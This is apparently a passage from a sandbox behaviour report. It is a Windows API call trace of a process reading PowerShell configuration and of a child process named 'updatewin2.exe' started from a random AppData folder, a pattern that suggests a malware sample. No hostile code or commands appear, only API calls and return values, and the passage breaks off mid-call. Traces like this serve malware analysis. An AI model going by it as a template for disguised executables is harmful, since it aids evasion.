GetLastError () returned 0x0 [0062.983] ReadFile (in: hFile=0x34c, lpBuffer=0x2c66388, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x16e9c4, lpOverlapped=0x0 | out: lpBuffer=0x2c66388*, lpNumberOfBytesRead=0x16e9c4*=0x1000, lpOverlapped=0x0) returned 1 [0062.983] GetLastError () returned 0x0 [0062.983] ReadFile (in: hFile=0x34c, lpBuffer=0x2c66388, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x16e9c4, lpOverlapped=0x0 | out: lpBuffer=0x2c66388*, lpNumberOfBytesRead=0x16e9c4*=0x1000, lpOverlapped=0x0) returned 1 [0062.983] GetLastError () returned 0x0 [0062.983] ReadFile (in: hFile=0x34c, lpBuffer=0x2c66388, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x16e9c4, lpOverlapped=0x0 | out: lpBuffer=0x2c66388*, lpNumberOfBytesRead=0x16e9c4*=0x1000, lpOverlapped=0x0) returned 1 [0062.983] GetLastError () returned 0x0 [0062.983] ReadFile (in: hFile=0x34c, lpBuffer=0x2c66388, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x16e9c4, lpOverlapped=0x0 | out: lpBuffer=0x2c66388*, lpNumberOfBytesRead=0x16e9c4*=0x1000, lpOverlapped=0x0) returned 1 [0062.983] GetLastError () returned 0x0 [0062.983] ReadFile (in: hFile=0x34c, lpBuffer=0x2c66388, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x16e9c4, lpOverlapped=0x0 | out: lpBuffer=0x2c66388*, lpNumberOfBytesRead=0x16e9c4*=0x1000, lpOverlapped=0x0) returned 1 [0062.983] GetLastError () returned 0x0 [0062.984] ReadFile (in: hFile=0x34c, lpBuffer=0x2c66388, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x16e9c4, lpOverlapped=0x0 | out: lpBuffer=0x2c66388*, lpNumberOfBytesRead=0x16e9c4*=0x1b4, lpOverlapped=0x0) returned 1 [0062.984] GetLastError () returned 0x0 [0062.984] ReadFile (in: hFile=0x34c, lpBuffer=0x2c66388, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x16e9c4, lpOverlapped=0x0 | out: lpBuffer=0x2c66388*, lpNumberOfBytesRead=0x16e9c4*=0x0, lpOverlapped=0x0) returned 1 [0062.984] GetLastError () returned 0x0 [0062.984] CloseHandle (hObject=0x34c) returned 1 [0062.984] GetLastError () returned 0x0 [0062.984] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\types.ps1xml", nBufferLength=0x105, lpBuffer=0x16e524, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\types.ps1xml", lpFilePart=0x0) returned 0x37 [0062.984] GetLastError () returned 0x0 [0062.984] SetErrorMode (uMode=0x1) returned 0x1 [0062.984] GetFileAttributesExW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\types.ps1xml" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\types.ps1xml"), fInfoLevelId=0x0, lpFileInformation=0x2c86c18 | out: lpFileInformation=0x2c86c18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd7c2d31c, ftCreationTime.dwHighDateTime=0x1c9ea11, ftLastAccessTime.dwLowDateTime=0xd7c2d31c, ftLastAccessTime.dwHighDateTime=0x1c9ea11, ftLastWriteTime.dwLowDateTime=0xd7c5347c, ftLastWriteTime.dwHighDateTime=0x1c9ea11, nFileSizeHigh=0x0, nFileSizeLow=0x291b4)) returned 1 [0062.984] GetLastError () returned 0x0 [0062.984] SetErrorMode (uMode=0x1) returned 0x1 [0062.984] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\types.ps1xml", nBufferLength=0x105, lpBuffer=0x16e4f0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\types.ps1xml", lpFilePart=0x0) returned 0x37 [0062.984] GetLastError () returned 0x0 [0062.984] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\PowerShell\\1\\PowerShellEngine", ulOptions=0x0, samDesired=0x20019, phkResult=0x16e948 | out: phkResult=0x16e948*=0x34c) returned 0x0 [0062.985] RegQueryValueExW (in: hKey=0x34c, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x16e990, lpData=0x0, lpcbData=0x16e98c*=0x0 | out: lpType=0x16e990*=0x1, lpData=0x0, lpcbData=0x16e98c*=0x56) returned 0x0 [0062.985] RegQueryValueExW (in: hKey=0x34c, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x16e990, lpData=0x607300, lpcbData=0x16e98c*=0x56 | out: lpType=0x16e990*=0x1, lpData="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0", lpcbData=0x16e98c*=0x56) returned 0x0 [0062.985] RegCloseKey (hKey=0x34c) returned 0x0 [0062.985] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\types.ps1xml", nBufferLength=0x105, lpBuffer=0x16e4f0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\types.ps1xml", lpFilePart=0x0) returned 0x37 [0062.985] GetLastError () returned 0x0 [0062.985] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\types.ps1xml", nBufferLength=0x105, lpBuffer=0x16e484, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\types.ps1xml", lpFilePart=0x0) returned 0x37 [0062.985] GetLastError () returned 0x0 Thread: id = 57 os_tid = 0xa3c Thread: id = 59 os_tid = 0xa48 Thread: id = 60 os_tid = 0xa4c Thread: id = 61 os_tid = 0xa50 Thread: id = 62 os_tid = 0xa54 Thread: id = 63 os_tid = 0xa58 [0055.851] CoGetContextToken (in: pToken=0x4b5fa18 | out: pToken=0x4b5fa18) returned 0x0 [0055.851] CObjectContext::QueryInterface () returned 0x0 [0055.851] CObjectContext::GetCurrentThreadType () returned 0x0 [0055.851] Release () returned 0x0 [0055.852] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0063.286] LocalFree (hMem=0x5949a0) returned 0x0 [0063.286] GetLastError () returned 0x0 [0063.286] CloseHandle (hObject=0x33c) returned 1 [0063.286] GetLastError () returned 0x0 [0063.286] CloseHandle (hObject=0x13) returned 1 [0063.286] GetLastError () returned 0x0 [0063.286] CloseHandle (hObject=0xf) returned 1 [0063.287] GetLastError () returned 0x0 [0063.287] RegCloseKey (hKey=0x320) returned 0x0 [0063.287] RegCloseKey (hKey=0x31c) returned 0x0 [0063.287] RegCloseKey (hKey=0x318) returned 0x0 [0063.287] LocalFree (hMem=0x594870) returned 0x0 [0063.287] GetLastError () returned 0x0 [0063.287] RegCloseKey (hKey=0x348) returned 0x0 Process: id = "9" image_name = "updatewin2.exe" filename = "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\5f157674-79c2-4ded-9dab-75219d8fb8ff\\updatewin2.exe" page_root = "0x31084000" os_pid = "0xa40" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "5" os_parent_pid = "0x9a4" cmd_line = "\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\5f157674-79c2-4ded-9dab-75219d8fb8ff\\updatewin2.exe\" " cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e9ce" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 58 os_tid = 0xa44 [0053.178] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ff7c | out: lpSystemTimeAsFileTime=0x18ff7c*(dwLowDateTime=0x40b94480, dwHighDateTime=0x1d53dff)) [0053.178] GetCurrentProcessId () returned 0xa40 [0053.178] GetCurrentThreadId () returned 0xa44 [0053.178] GetTickCount () returned 0x1c2b2 [0053.178] QueryPerformanceCounter (in: lpPerformanceCount=0x18ff74 | out: lpPerformanceCount=0x18ff74*=17341314440) returned 1 [0053.189] GetStartupInfoA (in: lpStartupInfo=0x18ff20 | out: lpStartupInfo=0x18ff20*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\5f157674-79c2-4ded-9dab-75219d8fb8ff\\updatewin2.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0xffffffff, hStdOutput=0xffffffff, hStdError=0xffffffff)) [0053.189] HeapCreate (flOptions=0x0, dwInitialSize=0x1000, dwMaximumSize=0x0) returned 0x1b0000 [0053.190] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76c20000 [0053.190] GetProcAddress (hModule=0x76c20000, lpProcName="FlsAlloc") returned 0x76c34f2b [0053.190] GetProcAddress (hModule=0x76c20000, lpProcName="FlsGetValue") returned 0x76c31252 [0053.190] GetProcAddress (hModule=0x76c20000, lpProcName="FlsSetValue") returned 0x76c34208 [0053.191] GetProcAddress (hModule=0x76c20000, lpProcName="FlsFree") returned 0x76c3359f [0053.191] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76c20000 [0053.191] GetProcAddress (hModule=0x76c20000, lpProcName="EncodePointer") returned 0x77170fcb [0053.191] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76c20000 [0053.191] GetProcAddress (hModule=0x76c20000, lpProcName="EncodePointer") returned 0x77170fcb [0053.191] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76c20000 [0053.192] GetProcAddress (hModule=0x76c20000, lpProcName="EncodePointer") returned 0x77170fcb [0053.192] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76c20000 [0053.192] GetProcAddress (hModule=0x76c20000, lpProcName="EncodePointer") returned 0x77170fcb [0053.192] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76c20000 [0053.192] GetProcAddress (hModule=0x76c20000, lpProcName="EncodePointer") returned 0x77170fcb [0053.192] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76c20000 [0053.192] GetProcAddress (hModule=0x76c20000, lpProcName="EncodePointer") returned 0x77170fcb [0053.193] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76c20000 [0053.193] GetProcAddress (hModule=0x76c20000, lpProcName="EncodePointer") returned 0x77170fcb [0053.193] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76c20000 [0053.193] GetProcAddress (hModule=0x76c20000, lpProcName="DecodePointer") returned 0x77169d35 [0053.193] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x214) returned 0x1b07d0 [0053.193] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76c20000 [0053.193] GetProcAddress (hModule=0x76c20000, lpProcName="DecodePointer") returned 0x77169d35 [0053.193] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76c20000 [0053.194] GetProcAddress (hModule=0x76c20000, lpProcName="EncodePointer") returned 0x77170fcb [0053.194] GetProcAddress (hModule=0x76c20000, lpProcName="DecodePointer") returned 0x77169d35 [0053.194] GetCurrentThreadId () returned 0xa44 [0053.194] GetStartupInfoA (in: lpStartupInfo=0x18fea4 | out: lpStartupInfo=0x18fea4*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\5f157674-79c2-4ded-9dab-75219d8fb8ff\\updatewin2.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0xffffffff, hStdOutput=0xffffffff, hStdError=0xffffffff)) [0053.194] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x800) returned 0x1b09f0 [0053.194] GetStdHandle (nStdHandle=0xfffffff6) returned 0x0 [0053.194] GetStdHandle (nStdHandle=0xfffffff5) returned 0x0 [0053.194] GetStdHandle (nStdHandle=0xfffffff4) returned 0x0 [0053.194] SetHandleCount (uNumber=0x20) returned 0x20 [0053.194] GetCommandLineA () returned="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\5f157674-79c2-4ded-9dab-75219d8fb8ff\\updatewin2.exe\" " [0053.194] GetEnvironmentStringsW () returned 0x304e70* [0053.194] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ALLUSERSPROFILE=C:\\ProgramData", cchWideChar=1381, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1381 [0053.194] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x565) returned 0x1b11f8 [0053.194] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ALLUSERSPROFILE=C:\\ProgramData", cchWideChar=1381, lpMultiByteStr=0x1b11f8, cbMultiByte=1381, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ALLUSERSPROFILE=C:\\ProgramData", lpUsedDefaultChar=0x0) returned 1381 [0053.194] FreeEnvironmentStringsW (penv=0x304e70) returned 1 [0053.195] GetLastError () returned 0x0 [0053.195] SetLastError (dwErrCode=0x0) [0053.195] GetLastError () returned 0x0 [0053.195] SetLastError (dwErrCode=0x0) [0053.195] GetLastError () returned 0x0 [0053.195] SetLastError (dwErrCode=0x0) [0053.195] GetACP () returned 0x4e4 [0053.195] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x220) returned 0x1b1768 [0053.195] GetLastError () returned 0x0 [0053.195] SetLastError (dwErrCode=0x0) [0053.195] IsValidCodePage (CodePage=0x4e4) returned 1 [0053.195] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0053.195] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x18f950 | out: lpCPInfo=0x18f950) returned 1 [0053.195] GetLastError () returned 0x0 [0053.195] SetLastError (dwErrCode=0x0) [0053.195] GetStringTypeW (in: dwInfoType=0x1, lpSrcStr="", cchSrc=1, lpCharType=0x18f8e0 | out: lpCharType=0x18f8e0) returned 1 [0053.195] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fd64, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0053.195] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fd64, cbMultiByte=256, lpWideCharStr=0x18f6c8, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ") returned 256 [0053.195] GetStringTypeW (in: dwInfoType=0x1, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpCharType=0x18f964 | out: lpCharType=0x18f964) returned 1 [0053.195] GetLastError () returned 0x0 [0053.195] SetLastError (dwErrCode=0x0) [0053.195] LCMapStringW (in: Locale=0x0, dwMapFlags=0x100, lpSrcStr="", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0053.195] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fd64, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0053.195] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fd64, cbMultiByte=256, lpWideCharStr=0x18f698, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ뿘䧋㞅AĀ") returned 256 [0053.195] LCMapStringW (in: Locale=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ뿘䧋㞅AĀ", cchSrc=256, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 256 [0053.195] LCMapStringW (in: Locale=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ뿘䧋㞅AĀ", cchSrc=256, lpDestStr=0x18f488, cchDest=256 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ") returned 256 [0053.195] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchWideChar=256, lpMultiByteStr=0x18fc64, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\xff\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xd7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\xad\x99\xff\x49\x9c\xfe\x18", lpUsedDefaultChar=0x0) returned 256 [0053.195] GetLastError () returned 0x0 [0053.196] SetLastError (dwErrCode=0x0) [0053.196] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fd64, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0053.196] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fd64, cbMultiByte=256, lpWideCharStr=0x18f6b8, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ뿘䧋㞅AĀ") returned 256 [0053.196] LCMapStringW (in: Locale=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ뿘䧋㞅AĀ", cchSrc=256, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 256 [0053.196] LCMapStringW (in: Locale=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ뿘䧋㞅AĀ", cchSrc=256, lpDestStr=0x18f4a8, cchDest=256 | out: lpDestStr=" 